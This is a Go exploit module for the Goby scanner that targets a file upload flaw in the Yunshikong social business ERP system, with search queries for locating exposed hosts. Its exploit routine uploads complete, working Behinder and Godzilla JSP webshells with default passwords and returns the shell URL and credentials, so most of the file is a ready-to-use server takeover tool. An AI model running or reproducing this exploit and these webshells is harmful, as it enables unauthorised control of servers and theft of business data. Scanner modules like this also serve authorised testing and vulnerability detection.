package exploits

import (
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"strings"
)

func init() {
	expJson := `{
    "Name": "Yunshikong business ERP system gpy File Upload Vulnerability",
    "Description": "<p>Yunshikong Social Business ERP is an ERP system developed by Yunshikong.</p><p>There is a file upload vulnerability in the cloud space-time social business ERP system, through which an attacker can upload any file and then control the server.</p>",
    "Product": "YunShiKong-Social-ERP",
    "Homepage": "http://www.ysk360.com/",
    "DisclosureDate": "2023-03-03",
    "Author": "715827922@qq.com",
    "FofaQuery": "body=\"云时空社会化商业ERP系统\" || body=\"yunlogo_home.png\"",
    "GobyQuery": "body=\"云时空社会化商业ERP系统\" || body=\"yunlogo_home.png\"",
    "Level": "3",
    "Impact": "<p>Attackers can use this vulnerability to upload arbitrary files on the server side, execute code, write backdoors, obtain server permissions, and then control the entire web server.</p>",
    "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"http://www.ysk360.com/\">http://www.ysk360.com/</a></p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "attackType",
            "type": "select",
            "value": "webshell,custom",
            "show": ""
        },
        {
            "name": "webshell",
            "type": "select",
            "value": "behinder,godzilla",
            "show": "attackType=webshell"
        },
        {
            "name": "filename",
            "type": "input",
            "value": "abc.jsp",
            "show": "attackType=custom"
        },
        {
            "name": "content",
            "type": "input",
            "value": "<% out.println(\"hello\");%>",
            "show": "attackType=custom"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "File Upload"
    ],
    "VulType": [
        "File Upload"
    ],
    "CVEIDs": [
        ""
    ],
    "CNNVD": [
        ""
    ],
    "CNVD": [
        ""
    ],
    "CVSSScore": "9.8",
    "Translation": {
        "CN": {
            "Name": "云时空社会化商业 ERP 系统 gpy 文件上传漏洞",
            "Product": "云时空社会化商业ERP系统",
            "Description": "<p>云时空社会化商业 ERP 是云时空开发的一款 ERP 系统。</p><p>云时空社会化商业 ERP 系统存在文件上传漏洞，攻击者可通过该漏洞上传任意文件，进而控制服务器。</p>",
            "Recommendation": "<p>厂商已发布了漏洞修复程序，请及时关注更新：<a href=\"http://www.ysk360.com/\">http://www.ysk360.com/</a></p>",
            "Impact": "<p>攻击者可通过该漏洞在服务器端上传任意文件，执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。<br></p>",
            "VulType": [
                "文件上传"
            ],
            "Tags": [
                "文件上传"
            ]
        },
        "EN": {
            "Name": "Yunshikong business ERP system gpy File Upload Vulnerability",
            "Product": "YunShiKong-Social-ERP",
            "Description": "<p>Yunshikong Social Business ERP is an ERP system developed by Yunshikong.</p><p>There is a file upload vulnerability in the cloud space-time social business ERP system, through which an attacker can upload any file and then control the server.</p>",
            "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time:&nbsp;<a href=\"http://www.ysk360.com/\">http://www.ysk360.com/</a></p>",
            "Impact": "<p>Attackers can use this vulnerability to upload arbitrary files on the server side, execute code, write backdoors, obtain server permissions, and then control the entire web server.<br></p>",
            "VulType": [
                "File Upload"
            ],
            "Tags": [
                "File Upload"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PostTime": "2023-08-23",
    "PocId": "10829"
}`

	sendPayloadf0bec84a := func(hostInfo *httpclient.FixUrl, filename, content string) (*httpclient.HttpResponse, error) {
		cfg := httpclient.NewPostRequestConfig("/servlet/fileupload/gpy")
		cfg.VerifyTls = false
		cfg.FollowRedirect = false
		boundary := goutils.RandomHexString(32)
		cfg.Header.Store("Content-Type", "multipart/form-data; boundary="+boundary)
		cfg.Data = strings.ReplaceAll(`--`+boundary+`
Content-Disposition: form-data; name="file1"; filename="`+filename+`"
Content-Type: application/octet-stream

`+content+`
--`+boundary+`--`, "\n", "\r\n")
		rsp, err := httpclient.DoHttpRequest(hostInfo, cfg)
		if err != nil || !strings.Contains(rsp.Utf8Html, "fileRealName=") || !strings.Contains(rsp.Utf8Html, "date=") {
			return nil, err
		}
		date := rsp.Utf8Html[strings.Index(rsp.Utf8Html, "date=")+5:]
		cfgCheck := httpclient.NewGetRequestConfig("/uploads/pics/" + date + "/" + filename)
		cfgCheck.VerifyTls = false
		cfgCheck.FollowRedirect = false
		return httpclient.DoHttpRequest(hostInfo, cfgCheck)
	}

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson,
		func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			checkStr := goutils.RandomHexString(16)
			filename := goutils.RandomHexString(16) + ".jsp"
			rsp, err := sendPayloadf0bec84a(u, filename, "<% out.println(\""+checkStr+"\");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>")
			if err != nil || rsp == nil {
				return false
			}
			return strings.Contains(rsp.Utf8Html, checkStr) && !strings.Contains(rsp.Utf8Html, "out.println")
		},
		func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			content := goutils.B2S(ss.Params["content"])
			filename := goutils.B2S(ss.Params["filename"])
			attackType := goutils.B2S(ss.Params["attackType"])
			webshell := goutils.B2S(ss.Params["webshell"])
			if attackType == "webshell" {
				filename = goutils.RandomHexString(16) + ".jsp"
				if webshell == "behinder" {
					// /*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/
					content = `<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>`
				} else if webshell == "godzilla" {
					// 哥斯拉 pass key
					content = `<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){} %>`
				}
			}
			rsp, err := sendPayloadf0bec84a(expResult.HostInfo, filename, content)
			if err != nil {
				expResult.Success = false
				expResult.Output = err.Error()
				return expResult
			}
			// 资源存在
			if rsp.StatusCode != 200 && rsp.StatusCode != 500 {
				expResult.Success = false
				expResult.Output = "漏洞利用失败"
				return expResult
			}
			expResult.Success = true
			if attackType == "custom" {
				expResult.Output += "URL: " + expResult.HostInfo.FixedHostInfo + rsp.Request.URL.Path + "\n"
			} else {
				expResult.Output += "WebShell URL: " + expResult.HostInfo.FixedHostInfo + rsp.Request.URL.Path + "\n"
				if webshell == "behinder" {
					expResult.Output += "Password: rebeyond\n"
					expResult.Output += "WebShell tool: Behinder v3.0\n"
				} else if webshell == "godzilla" {
					expResult.Output += "Password: pass 加密器：JAVA_AES_BASE64\n"
					expResult.Output += "WebShell tool: Godzilla v4.1\n"
				}
				expResult.Output += "Webshell type: jsp"
			}

			return expResult
		},
	))
}